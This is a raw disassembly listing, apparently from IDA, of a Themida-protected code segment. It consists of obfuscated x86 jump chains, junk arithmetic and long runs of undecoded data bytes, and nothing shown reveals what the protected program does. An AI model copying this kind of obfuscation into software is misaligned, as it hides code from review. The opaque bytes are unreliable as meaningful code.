24048124h, 4 dd 83242C8Bh, 515004C4h, 4B9h, 0A9C6800h, 0C890000h, 24348124h dd 7DC5648Eh, 0FF7CF3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D119: ; CODE XREF: Themida_:005562F8j push 6A7Ah jmp loc_55F689 ; --------------------------------------------------------------------------- db 89h dd 74FF2434h, 8F5E0424h, 0E95C2404h, 26D7h, 4C181h, 0C1830000h dd 57AF6804h, 0C890000h, 2474FF24h, 19E95904h, 8100007Ch dd 4ECh, 24048900h, 42474FFh, 24048F58h, 23EDE9h db 0 ; --------------------------------------------------------------------------- loc_55D165: ; CODE XREF: Themida_:00557ACAj mov ebp, esp add ebp, 4 jmp loc_557724 ; --------------------------------------------------------------------------- loc_55D172: ; CODE XREF: Themida_:0055779Bj add ebp, 4 xchg ebp, [esp] pop esp push eax push esp pop eax push ecx jmp loc_55278E ; --------------------------------------------------------------------------- loc_55D185: ; CODE XREF: Themida_:005581C2j add esp, 4 add edi, 7E886C1Fh sub esp, 4 mov [esp], ebp push ecx jmp loc_559F3D ; --------------------------------------------------------------------------- dw 3487h dd 14895C24h, 0E95A5424h, 0FFFF78C1h, 4C38358h, 31241C33h dd 1CE9241Ch db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1B7: ; CODE XREF: Themida_:00557B64j mov [esp], esp add dword ptr [esp], 4 pop ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5540AC ; --------------------------------------------------------------------------- db 8Bh dd 12E92424h, 83FFFF53h, 48904ECh, 441A6824h, 14890000h dd 4C41BA24h, 0E9B853EAh, 3123DF27h, 6FE95AD0h, 5C000089h dd 0FF624FE9h, 0C4835EFFh, 57DEF704h, 0BA52E789h, 4, 0A1E9D701h dd 0FFFFFF79h, 0E95F2434h, 9437h, 0FCB5F181h, 0CE8974EFh dd 0BBB95159h, 816B495Ah, 351F09C6h, 81CE0123h, 351F09EEh dd 0CE815923h, 7ED30FF5h, 0ABE9D6F7h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D24F: ; CODE XREF: Themida_:0055F301j pop eax neg ebp xor ebp, 4025DDh push edi push eax jmp loc_562D0D ; --------------------------------------------------------------------------- loc_55D25F: ; CODE XREF: Themida_:00556C96j add edi, 498E19D3h push ebx mov ebx, 50B24FFFh jmp loc_554B28 ; --------------------------------------------------------------------------- loc_55D270: ; CODE XREF: Themida_:005655E5j pop edx push ecx mov ecx, 16E30E03h push eax mov eax, 55FA097Dh add eax, 6C9A1C35h jmp loc_565B4A ; --------------------------------------------------------------------------- db 0BFh dd 0C07160Eh, 63FBE781h, 0F7812B68h, 6E36311Bh, 0F0E9D7F7h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D29F: ; CODE XREF: Themida_:005587D3j pop ecx pop edx sub ebx, 0DA1B21EEh jmp $+5 add edx, ebx pop ebx add edx, 4 xchg edx, [esp] jmp loc_5519D9 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFF6533h, 6ABB951h, 0D9F75500h, 0C181D1F7h, 212561D6h dd 98E9CB01h, 5000028h, 6BE908E4h, 3358C301h, 1C31241Ch dd 241C3324h, 8524248Bh, 0F8E99CC8h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D2F3: ; CODE XREF: Themida_:005656B6j xor cl, dl pop edx push eax mov ah, 36h xor ah, 0BDh jmp loc_554CC7 ; --------------------------------------------------------------------------- loc_55D301: ; CODE XREF: Themida_:00553068j inc edi neg edi jmp loc_553937 ; --------------------------------------------------------------------------- db 0BEh, 96h, 1 dd 0DEF74C67h, 0C85DEE81h, 0F731A71Ch, 0E92434FFh, 0FFFF9C2Dh dd 8B52C680h, 0C4812404h, 4, 205AF700h, 2434FFF8h, 0FFA458E9h dd 41ADE9FFh, 0E951FFFFh, 3F0Dh ; --------------------------------------------------------------------------- loc_55D344: ; CODE XREF: Themida_:00564241j push 1 push dword ptr [esp] jmp loc_554454 ; --------------------------------------------------------------------------- db 89h, 0D1h, 5Ah dd 1DE95A5Eh db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D35B: ; CODE XREF: Themida_:005617FEj mov ebp, 45170AC1h sub edi, ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop edx sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55239A ; --------------------------------------------------------------------------- loc_55D385: ; CODE XREF: Themida_:00557EB9j sub ebx, 6D154B37h add ebx, 0FFFFFFFFh sub ebx, 0ED005132h add eax, ebx pop ebx jmp loc_558B2A ; --------------------------------------------------------------------------- db 89h dd 0E954241Ch, 5375h, 59B3C281h, 0C281480Ah, 5ADD0941h dd 75E9564Ah, 5300004Ah, 42474FFh, 24048F5Bh, 8124248Bh dd 0BB6FB3C1h, 0EFF1E952h, 0F789FFFFh, 31DF68h, 6FA0E900h dd 0F781FFFFh, 7E9B1D4Bh, 16F7E781h, 0C7812EE7h, 0F8ED1249h dd 815FFA31h, 0E6AA6FF2h, 17C381BAh, 1786037h, 17EB81D3h dd 0E9786037h, 3F46h ; --------------------------------------------------------------------------- loc_55D40C: ; CODE XREF: Themida_:00561C4Ej pop dword ptr [esp] mov esp, [esp] mov [esp], ecx push esp jmp loc_55B2F9 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 616C9505h, 30780542h, 960568FFh, 168C523h dd 23962DF8h, 0DE968C5h, 29000020h, 0B876E9DAh, 0FF5DFFFFh dd 56582434h, 0C6815E54h, 4, 0E904C683h, 0FFFFF59Ch, 81E28952h dd 4C2h, 901CE900h, 0E2800000h, 1CE280B8h, 0E901EA80h dd 0FFFFC554h, 0B9240C89h, 2, 0A2E9CD89h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D487: ; CODE XREF: Themida_:0055A5C1j mov [esp], ebx push eax jmp loc_558113 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0C38104C4h, 4, 41B668h, 242C8900h, 1B07B951h dd 0B8504A21h, 690A7BC0h, 0FFFFFF05h, 8D1BE9FFh, 0D4F6FFFFh dd 112DE9h, 24148900h, 6806855h, 0E95D6C1Dh, 40EEh, 0C8B5966h dd 4C48124h, 5B000000h, 0ACBE9h db 0 ; --------------------------------------------------------------------------- loc_55D4E1: ; CODE XREF: Themida_:005647A4j pop esp not ebp sub ebp, 0A8CCAA0Dh jmp loc_56333A ; --------------------------------------------------------------------------- db 83h dd 48704C4h, 0D59EE924h, 0E289FFFFh, 39168h, 243C8900h dd 1B68B951h, 81496928h, 0E0418DC9h, 15C1815Fh, 898017A4h dd 0C28159CFh, 429D2693h, 0EA81FA01h, 429D2693h, 4B8505Fh dd 1000000h, 0B5E958C2h, 66000089h, 27BF6657h, 0D7F7666Dh dd 88F78166h, 0C7816648h, 9662E04h, 183FE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D552: ; CODE XREF: Themida_:0055E0D6j mov eax, esp add eax, 4 push ebx mov ebx, 4 add eax, 7753923h jmp loc_55283E ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 332D68h, 0C06E900h, 0E9810000h, 7CBD667Dh, 240C8758h dd 6290E95Ch, 0E957FFFFh, 50EFh, 3DBAE981h, 6C68590Ah dd 0E9000021h, 0FFFF50C4h ; --------------------------------------------------------------------------- loc_55D59C: ; CODE XREF: Themida_:0055F03Aj mov edi, 4 jmp loc_56045F ; --------------------------------------------------------------------------- dw 0C201h dd 3178E9h db 0 ; --------------------------------------------------------------------------- loc_55D5AD: ; CODE XREF: Themida_:00562DA7j and ebx, eax mov eax, [esp] add esp, 4 push ebp mov ebp, 0FDC7200h xor ebp, 0F5238904h add ebx, ebp pop ebp sub eax, 70652E0Ch sub eax, 723E4759h jmp loc_55619B ; --------------------------------------------------------------------------- byte_55D5D3 db 0ADh ; DATA XREF: Themida_:0055132Co dd 0FFDDA2E9h, 2A21BDFFh, 0EE014FB6h, 24148B5Dh, 4C481h dd 68580000h, 22F9h, 0FF243489h, 34FF2434h, 3C99E924h dd 0F2810000h, 345B3A9Ch, 0DFB2EA81h, 0D329ADDCh, 0FFAF0CE9h dd 24048FFFh, 6624248Bh, 9C240CD3h, 0FF3ECAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D621: ; CODE XREF: Themida_:005543BBj mov ebp, edx pop edx jmp loc_55ADE1 ; --------------------------------------------------------------------------- aXasasz3 db 'X─И─Иz3',0 align 2 loc_55D632: ; CODE XREF: Themida_:00564A74j mov edx, [esp] sub esp, 4 mov [esp], eax mov eax, esp push ebp mov ebp, 40B235D4h and ebp, 32641834h and ebp, 21AF35E6h inc ebp not ebp and ebp, 124798Dh xor ebp, 104698Ch add eax, ebp pop ebp push ebx push ecx mov ecx, esp add ecx, 4 jmp loc_566150 ; --------------------------------------------------------------------------- loc_55D673: ; CODE XREF: Themida_:005557D4j sub ebx, eax push ecx mov ecx, 417219A9h sub ebx, ecx jmp loc_55A42A ; --------------------------------------------------------------------------- dw 0FB01h dd 83243C8Bh, 0DA2904C4h, 81C2015Bh, 54049EC2h, 4EC832Ch dd 0FFA666E9h, 8CC280FFh, 5A66D120h, 809AB450h, 0DCF6FAE4h dd 8005E4C0h, 0EC8074ECh, 84F480FEh, 8058E120h, 0F18051E9h dd 8BC828CCh, 0C481240Ch, 4, 852C7E2Ch, 0FEE9F800h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D6D7: ; CODE XREF: Themida_:005519ADj add esp, 4 shr ecx, 0 or eax, eax jz loc_558AEC push 6753h mov [esp], esi push esi mov esi, esp add esi, 4 jmp loc_5596E1 ; --------------------------------------------------------------------------- dw 0C89h aVr0pssl db '$VR╨',8,'0psИl!',0 db 0 ; --------------------------------------------------------------------------- loc_55D70D: ; CODE XREF: Themida_:00564DC4j push 362C2CF4h pop ebp shl ebp, 1 add ebp, 0F98BC503h mov esi, ebp pop ebp sub esi, 0FFFFFFFFh inc esi xor esi, 224936F8h jmp loc_557041 ; --------------------------------------------------------------------------- byte_55D72D db 0F6h, 1Ch, 24h ; DATA XREF: Themida_:00551444o dd 3DB5E99Ch, 0E289FFFFh, 4C281h, 89E90000h, 0BEFFFFB9h dd 719906FCh, 0E903E6C1h, 0FFFFC759h, 0B164D9B8h, 58C10143h dd 4DBAF181h, 3CE963C1h, 8B000047h, 0E956243Ch, 0FFFF454Dh dd 0FF3D7AE9h, 0A4C7BEFFh, 0F589646Ch, 0C635E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D77E: ; CODE XREF: Themida_:00564CD5j mov edi, 4 add eax, edi pop edi xchg eax, [esp] pop esp add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_555326 ; --------------------------------------------------------------------------- dw 4481h dd 63A20424h, 440144E9h, 0AAE90424h, 47FFFF8Eh, 11FEF781h dd 0FA297617h, 0E9D7895Fh, 5FEh, 1C8B0303h, 0E1895124h dd 4C181h, 0BD550000h, 729C53A6h, 0FFEF21E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D7D9: ; CODE XREF: Themida_:00555316j shl edx, 1 sub esp, 4 jmp loc_5579C0 ; --------------------------------------------------------------------------- db 52h dd 0D96B95BAh, 16B8E929h, 0C0830000h, 24048704h, 88BCE9h db 0 ; --------------------------------------------------------------------------- loc_55D7F9: ; CODE XREF: Themida_:005666EAj push dword ptr [esp] pop edi jmp loc_55DA33 ; --------------------------------------------------------------------------- loc_55D802: ; CODE XREF: Themida_:00557D5Fj xor [esp+4], esi pop esi push dword ptr [esp] jmp loc_559F8D ; --------------------------------------------------------------------------- byte_55D80F db 66h ; DATA XREF: Themida_:00551330o dd 56240C8Bh, 0F3E9E689h, 52000006h, 0BF1B88BAh, 7EAC127h dd 1E0CE9h, 0E9525900h, 0FFFFD9DEh, 24148B66h, 2C481h dd 0F6800000h, 2434E9BEh, 0E95E0000h, 0FFFF6A1Fh ; --------------------------------------------------------------------------- loc_55D848: ; CODE XREF: Themida_:00552211j add dword ptr [esp], 4 pop esi add esi, 4 push eax mov eax, 64A174E0h shr eax, 4 jmp loc_558165 ; --------------------------------------------------------------------------- byte_55D861 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0055142Co dd 1058669Dh, 0E99C2404h, 0FFFF3C7Bh, 0C281E289h, 4, 4EA81h dd 14870000h, 0B4AAE924h, 815FFFFFh, 0A5C2CC3h, 1EBD5567h dd 0C14C5400h, 0B85005E5h, 10701052h, 8158C509h, 0FC5CF1C5h dd 0E9EB2995h, 0FFFF4024h, 33241431h, 8CE92414h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D8B7: ; CODE XREF: Themida_:005541F4j push 7A4C4B07h pop esi inc esi add esi, 85B3B4FCh jmp loc_562F8F ; --------------------------------------------------------------------------- db 5Bh, 81h, 0CEh dd 4D2A3D96h, 17F5B850h, 0C2E96091h, 0BEFFFFF6h, 548D5F96h dd 840BF57h, 0FE2138E4h, 0F5F6815Fh, 525EB078h, 0FF63C5E9h dd 5300BFFFh, 0FA017683h, 0FCFCE95Fh, 48FFFFFh, 0AFEAE924h dd 0C781FFFFh, 4, 4B850h, 0C7010000h, 8124048Bh, 4C4h dd 243C3300h, 0FFD996E9h, 0B72A2DFFh, 0C131B99Eh, 4E1C158h dd 0F181D9F7h, 440D1974h, 5759C801h, 2BFh, 58A6E900h, 0EF010000h dd 0FF4FF3E9h, 4C483FFh, 0E9241C33h, 0FFFFEAA2h, 3B2EEB81h dd 0C1438486h, 0D3F702E3h, 6863E953h, 1C890000h, 0ABBE5624h dd 81036720h, 1EEh, 6BCDE900h, 0B9510000h, 16CA2631h, 8FE9CD01h dd 81FFFFC9h, 0F3F4CDC5h, 941EE9BDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D99A: ; CODE XREF: Themida_:00564937j add esp, 4 shl bh, 3 push edx jmp loc_566C70 ; --------------------------------------------------------------------------- loc_55D9A9: ; CODE XREF: Themida_:00565D99j sub ecx, 0C803E51h pop ebx add ecx, 4 xchg ecx, [esp] jmp loc_566ABE ; --------------------------------------------------------------------------- loc_55D9BE: ; CODE XREF: Themida_:00554B23j add edi, 4 jmp loc_5567CF ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 27B95155h, 8965901Dh, 6BE959CDh, 5500006Eh, 697462BDh dd 61DFE917h db 2 dup(0) word_55D9E6 dw 1CF7h ; DATA XREF: Themida_:005513ACo dd 0FCE99C24h db 3Ah, 2 dup(0FFh) byte_55D9EF db 66h ; DATA XREF: Themida_:00551430o dd 68240C8Bh, 6A87h, 0E9240489h, 8EABh, 241C8B66h, 2C481h dd 0E9520000h, 0FFFFC4E4h, 0F02C581h, 0C5291547h, 0F02ED81h dd 55581547h, 0A7240481h, 5A581254h, 54A7EA81h, 97E95812h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA33: ; CODE XREF: Themida_:0055D7FDj add esp, 4 xchg esi, [esp] mov esp, [esp] shr eax, 18h xor eax, ecx push 7384h jmp loc_55EED9 ; --------------------------------------------------------------------------- loc_55DA4E: ; CODE XREF: Themida_:0055197Dj xor eax, [esp] mov esp, [esp] push edx jmp loc_557359 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 0FF2434FFh, 48B2434h, 4C48324h, 4C481h, 4B680000h dd 0E9000012h, 5852h dword_55DA7C dd 0EA368h, 241C8900h, 7E668h, 24148900h, 4E714E68h, 2434FF75h ; DATA XREF: Themida_:005513B8o dd 4C4815Ah, 53000000h, 900C3CBBh, 97EB8112h, 81725A39h dd 0BBBA84F3h, 0FFDA21A2h, 0E95B2434h, 0FFFFE261h, 4C481h dd 4EE90000h, 42FFFFFBh, 67F7EA81h, 0C14A6F71h, 0F28104E2h dd 0BBA0AF12h, 515AD001h, 8151C189h, 38A82404h, 0ACE91830h dd 0F7FFFFB3h, 8C181D9h, 31B56ADAh, 240C8BCDh, 8104C483h dd 415BD2CDh, 0ED81452Bh, 3FA43FAAh, 535DEF29h, 0FB2B22BBh dd 81DBF71Ch, 22C65FF3h, 0B4F6E9BBh, 6853FFFFh, 51F329A3h dd 0FF9159E9h, 2FE95EFFh db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DB2B: ; CODE XREF: Themida_:0055168Bj xor esi, 5F6F11B8h sub esp, 4 mov [esp], edx jmp loc_561117 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 0FF3A4FE9h, 1451B9FFh, 0CA2947A4h, 0DC28159h dd 8104CB4Bh, 36717C2h, 0DB64E91Ah, 0EE83FFFFh, 0BD555701h dd 3EC644E3h, 0FFB332E9h, 2414F7FFh, 58B3E9h, 24048F00h dd 72EC68h, 4766E900h, 0C6310000h, 98E95358h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DB93: ; CODE XREF: Themida_:00553FB3j push edi push esp pop edi jmp loc_553CEE ; --------------------------------------------------------------------------- db 0BEh dd 69191F69h, 1C681h, 0E6C10000h, 0ACF68102h, 81A4647Dh dd 520EABC7h, 32EF817Bh, 1761554h, 32C781F7h, 81761554h dd 520EABEFh, 0BA525E7Bh, 4, 33FCC781h, 0ACE92EB1h, 5C000037h dd 51241C89h, 0D1F611B1h, 0FFEA46E9h, 5BD800FFh, 7E8068h dd 0A083E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DBF6: ; CODE XREF: Themida_:00562DC2j pop ebp push edx mov edx, 0FF89A774h jmp loc_555107 ; --------------------------------------------------------------------------- loc_55DC02: ; CODE XREF: Themida_:0055652Cj add edi, 3506BF26h and edx, edi jmp loc_554236 ; --------------------------------------------------------------------------- db 5Dh dd 0FF417FE9h, 2434FFFFh, 4C4835Fh, 0E80EA81h, 0EA296CCAh dd 0E80C281h, 0EA816CCAh, 3D79083Ch, 81242C8Bh, 4C4h, 0E9C20100h dd 194Fh ; --------------------------------------------------------------------------- loc_55DC40: ; CODE XREF: Themida_:005576F0j xor ecx, [esp] pop esp jmp loc_563AD6 ; --------------------------------------------------------------------------- loc_55DC49: ; CODE XREF: Themida_:00559346j xor [esp], ecx xor ecx, [esp] mov esp, [esp] push eax mov eax, esp push ebx jmp loc_562101 ; --------------------------------------------------------------------------- db 66h dd 0B0240489h, 66C18812h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 2 add ebp, edx pop edx xchg ebp, [esp] pop esp jmp loc_560CED ; --------------------------------------------------------------------------- dw 0C581h dd 7DDD9804h, 506A68h, 24148900h, 0C61FA5BAh, 7E2C12Ch dd 86FE9h, 0AEC38100h, 0E92BC73Fh, 1525h, 6851E089h, 144E3B0Dh dd 2FB85059h, 5728170Eh, 11768h, 6E50E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DCC2: ; CODE XREF: Themida_:00558B82j xchg eax, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_555CE0 ; --------------------------------------------------------------------------- loc_55DCDE: ; CODE XREF: Themida_:00557952j sub edi, edx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_556847 ; --------------------------------------------------------------------------- dd 0E981F929h, 4C784257h, 8784E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD06: ; CODE XREF: Themida_:0055292Bj xor ecx, edx xor edx, ecx not ecx jmp loc_557E42 ; --------------------------------------------------------------------------- loc_55DD11: ; CODE XREF: Themida_:00557A99j or eax, 61314993h shr eax, 2 jmp loc_55405D ; --------------------------------------------------------------------------- dw 248Bh dd 24040024h, 37C1E99Ch, 2C89FFFFh, 51E58924h, 4929DAB9h dd 0E9814144h, 75523789h, 7FFDE181h, 0D9F70C33h, 4AB6C981h dd 93E91B20h, 81FFFFDEh, 32E723C2h, 0D6895636h, 0E9F28952h dd 0FFFFF5F1h ; --------------------------------------------------------------------------- loc_55DD60: ; CODE XREF: Themida_:00551E9Fj pop bx sub al, dh mov edx, [esp] add esp, 4 push ecx mov cl, 0A4h shr cl, 4 push ebx mov bl, 89h inc bl inc bl and bl, 9Ch sub bl, 0CDh push edx mov dh, 0DEh jmp loc_557BBE ; --------------------------------------------------------------------------- loc_55DD88: ; CODE XREF: Themida_:00562E1Cj inc edx jmp loc_563EDF ; --------------------------------------------------------------------------- loc_55DD8E: ; CODE XREF: Themida_:00562AABj mov [esp], esp add dword ptr [esp], 4 pop esi push ecx mov ecx, 54DF18D5h jmp loc_55CD0D ; --------------------------------------------------------------------------- loc_55DDA4: ; CODE XREF: Themida_:0055B121j add dword ptr [esp], 708870D1h pop edi jmp loc_556459 ; --------------------------------------------------------------------------- db 54h, 5Bh, 81h dd 4C3h, 445AE900h, 815A0000h, 15196EF7h, 0E9D7F758h, 0FFFF5953h dd 0BE56EB01h, 91E3F32h, 746FEE81h, 0F4E95E4Fh, 68000036h dd 560Eh, 0E9241489h, 47B0h, 39BA525Ah, 1120C30h, 0AA055AD0h dd 1700D5Ah, 2F75E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DE02: ; CODE XREF: Themida_:00562EFCj xor ecx, [esp] jmp loc_56076E ; --------------------------------------------------------------------------- dw 0FF57h dd 5F042474h, 5C24048Fh, 2404FF66h, 36CDE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE1E: ; CODE XREF: Themida_:00552405j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55F1F9 ; --------------------------------------------------------------------------- loc_55DE32: ; CODE XREF: Themida_:005583AEj mov ebp, 151AD791h jmp loc_55E525 ; --------------------------------------------------------------------------- loc_55DE3C: ; CODE XREF: Themida_:00559153j xchg edx, ebx add ebx, 9E12407h push ebp mov ebp, 0FB8518C4h jmp loc_55E63D ; --------------------------------------------------------------------------- db 81h dd 42404h, 0CAE90000h, 5AFFFFFCh, 0FFF72BE9h, 4C083FFh dd 5C240487h, 847CE9h, 25016800h, 815D4E9Eh, 2239FEDh dd 9602E955h, 6ABEFFFFh, 81782A5Dh, 3F04246Ch, 142E175h dd 81042474h, 3F042444h, 0FF42E175h, 835E2434h, 0B95104C4h dd 362E07C4h, 4244C29h, 242C8159h, 254419A2h, 29240481h dd 0E935F239h, 8B4Ch, 0E9241C33h, 2028h ; --------------------------------------------------------------------------- loc_55DEC4: ; CODE XREF: Themida_:005619F9j shl edi, 7 dec edi push ecx mov ecx, 578D7587h dec ecx jmp loc_559301 ; --------------------------------------------------------------------------- loc_55DED4: ; CODE XREF: Themida_:00553B57j xchg ebp, edx jmp loc_55A836 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 6C44E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DEE6: ; CODE XREF: Themida_:0055A458j pop esp sub eax, edx sub eax, 2A9B765Bh add eax, 0EA84CF7h mov edx, [esp] add esp, 4 push ebp jmp loc_55CFE0 ; --------------------------------------------------------------------------- db 59h dd 8BD8295Eh, 0C483241Ch, 9CF7E904h, 0BB53FFFFh, 781964F0h dd 6933C381h, 0CEE938CDh, 8300002Ch, 0B95104C4h, 2, 0FF7274E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DF2D: ; CODE XREF: Themida_:00558399j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_556424 ; --------------------------------------------------------------------------- loc_55DF3F: ; CODE XREF: Themida_:00563528j add al, 3Dh sub al, bl sub al, 3Dh pop ebx xor bl, al movzx eax, al jmp loc_560F2C ; --------------------------------------------------------------------------- dd 8104C483h, 0A041A8C3h, 59BF5744h, 813D7567h, 0D2131BC7h dd 42F7812Fh, 31157148h, 45E95FFBh, 31FFFF8Fh, 0D1E9241Ch dd 68000089h, 55E2h, 0E9242489h, 0FFFF4539h, 38E7E954h dd 8DB2FFFFh, 2883EA80h, 83C280C2h, 0FFE493E9h, 4E7C1FFh dd 8763E9h, 0E9DC0000h, 5A39h, 0EC835166h, 24048904h, 0FFAA0BE9h dd 24148BFFh db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ebp, 44F83F33h add ebp, edx add ebp, 44F83F33h pop edx push ebp push dword ptr [esp+4] jmp loc_556150 ; --------------------------------------------------------------------------- aIHo9 db '┴<$hO9',0 dw 8900h dd 8CE92424h, 8900001Fh, 460DE9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E002: ; CODE XREF: Themida_:0055C465j xchg edx, [esp] mov esp, [esp] sub bl, 95h jmp loc_5653C9 ; --------------------------------------------------------------------------- dd 5A82BB53h, 81432B6Ch, 6C5A87F3h, 5BDA892Bh, 875AD601h dd 248B2434h, 0EDE3E924h, 0E953FFFFh, 27B0h, 0FF6DEB35h dd 3646E90Dh, 34BE0000h, 46474325h, 0AF82EE81h, 0F5292F7Bh dd 19D4E9h db 0 ; --------------------------------------------------------------------------- loc_55E051: ; CODE XREF: Themida_:00555B3Dj mov esp, [esp] imul ecx push esi push 729Fh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi jmp loc_55AC74 ; --------------------------------------------------------------------------- loc_55E06D: ; CODE XREF: Themida_:00560DEEj add esp, 4 mov ebp, eax pop eax and ecx, ebp pop ebp shr ecx, 0Ah push 30FAh mov [esp], ebp push eax jmp loc_56485C ; --------------------------------------------------------------------------- dw 0C580h dd 0A26850FFh, 8900004Eh, 0BCB62414h, 0E9FFC680h, 0FFFF4609h dd 4C481h, 1C330000h, 241C3124h, 0E9241C33h, 0FFFFA99Fh ; --------------------------------------------------------------------------- loc_55E0B4: ; CODE XREF: Themida_:0055F26Fj xor eax, edx pop edx push 1353h mov [esp], edi jmp loc_562EA5 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0FFFF9B1Bh ; --------------------------------------------------------------------------- loc_55E0CC: ; CODE XREF: Themida_:0056134Dj xor dword ptr [ecx], 7A1F4A49h mov ecx, [esp] push eax jmp loc_55D552 ; --------------------------------------------------------------------------- loc_55E0DB: ; CODE XREF: Themida_:0055B457j mov esi, [esp] push ebp jmp loc_555028 ; --------------------------------------------------------------------------- loc_55E0E4: ; CODE XREF: Themida_:00566230j add edx, 4 sub edx, 4 sub esp, 4 jmp loc_554BC5 ; --------------------------------------------------------------------------- db 5Ah, 66h, 8Bh dd 0C483240Ch, 0FFF83002h, 815B2434h, 4C4h, 0A3A3E900h dd 565AFFFFh, 0FF82F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E115: ; CODE XREF: Themida_:0055714Dj xor edi, 0FD0B0654h and edx, edi pop edi push ebp sub esp, 4 mov [esp], ecx mov ecx, 14076502h mov ebp, ecx mov ecx, [esp] add esp, 4 xor edx, ebp jmp loc_560399 ; --------------------------------------------------------------------------- db 66h dd 2214E951h, 815B0000h, 4C6h, 74FF5600h, 34FF0424h, 8958E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E15A: ; CODE XREF: Themida_:005550BFj push 3BB3h mov [esp], ebp mov ebp, esp jmp loc_55BA4D ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0FFB504E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E171: ; CODE XREF: Themida_:00565F2Ej sub edx, 0E5806E9h jmp loc_566683 ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFFA1B6h, 4C681h, 34870000h, 24248B24h dd 0F2114BBDh, 8BDD2960h, 0C481241Ch, 4, 0FF74FEE9h, 2E4C0FFh dd 8006ECC0h, 0ACE9D8C4h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1B3: ; CODE XREF: Themida_:0055E9D9j push esp pop ebx sub esp, 4 mov [esp], edi mov edi, 70D54C14h shl edi, 7 shr edi, 4 shr edi, 3 shr edi, 1 xor edi, 5DAAC75h jmp loc_562408 ; --------------------------------------------------------------------------- loc_55E1D6: ; CODE XREF: Themida_:0055E395j push dword ptr [esp] pop ebx push esi jmp loc_55219D ; --------------------------------------------------------------------------- dd 5C242C33h, 0E9241C89h, 3B20h ; --------------------------------------------------------------------------- loc_55E1EC: ; CODE XREF: Themida_:00563EA3j sub esp, 4 mov [esp], edx mov edx, 3659565Dh sub eax, edx pop edx pop edi push ebx jmp loc_55980F ; --------------------------------------------------------------------------- loc_55E201: ; CODE XREF: Themida_:00554778j mov eax, esp push esi mov esi, 6903E5h not esi or esi, 21D04BF3h jmp loc_551EA4 ; --------------------------------------------------------------------------- loc_55E216: ; CODE XREF: Themida_:00564211j pop eax add ebx, 4 xchg ebx, [esp] jmp loc_562651 ; --------------------------------------------------------------------------- dw 0EC83h dd 241C8904h, 7D3012BBh, 4605BE47h, 0DE311469h, 0FF4172E9h dd 2C083FFh, 7FF3E950h, 5C290000h, 0E95B0424h, 0FFFF329Fh dd 4C6815Eh, 0E914D321h, 0FFFF9D2Eh, 81241C89h, 4ECh, 1069E900h dd 5480000h, 48063EE9h, 0FFA09CE9h, 69C781FFh, 959C8E0h dd 6FD5E9FAh, 15D0000h, 348759CEh, 3BC9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E28A: ; CODE XREF: Themida_:005567CAj and eax, 223148E2h inc eax xor eax, 0BA24DB5h or eax, 69251274h sub eax, 6B9D170Bh jmp loc_55FBB1 ; --------------------------------------------------------------------------- dd 83243C8Bh, 505504C4h, 1B7626B8h, 2C05406Eh, 0E91C3207h dd 0FFFFA5D6h, 0C281DA01h, 5B0609E0h, 83241C8Bh, 2C8904ECh dd 0E2FAE924h, 0BD55FFFFh, 4, 2C8BEA01h, 4C48124h, 87000000h dd 835C2414h, 3C3302C7h, 243C3124h, 